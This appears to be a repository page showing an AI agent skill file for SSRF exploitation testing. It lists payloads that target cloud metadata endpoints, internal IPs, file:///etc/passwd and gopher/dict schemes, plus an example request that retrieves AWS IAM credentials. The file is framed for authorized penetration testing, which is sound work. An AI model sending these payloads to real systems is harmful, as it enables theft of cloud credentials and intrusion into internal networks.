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mukul975
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Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
34 lines
1.4 KiB
Markdown
34 lines
1.4 KiB
Markdown
---
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name: performing-ssrf-vulnerability-exploitation
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description: >-
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Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints,
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internal network services, and protocol handlers through user-controllable URL parameters.
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Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP,
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URL scheme bypass techniques, and DNS rebinding detection.
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---
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## Instructions
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1. Install dependencies: `pip install requests`
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2. Identify URL parameters in the target application that accept URLs or hostnames.
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3. Test SSRF payloads:
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- Cloud metadata: `http://169.254.169.254/latest/meta-data/`
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- Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
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- Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
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- Bypass techniques: IP encoding, DNS rebinding, URL redirects
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4. Analyze responses for information disclosure or internal access confirmation.
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5. Generate a vulnerability assessment report.
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```bash
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# For authorized penetration testing and lab environments only
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python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
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```
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## Examples
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### AWS Metadata SSRF
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```
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GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
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```
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If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.
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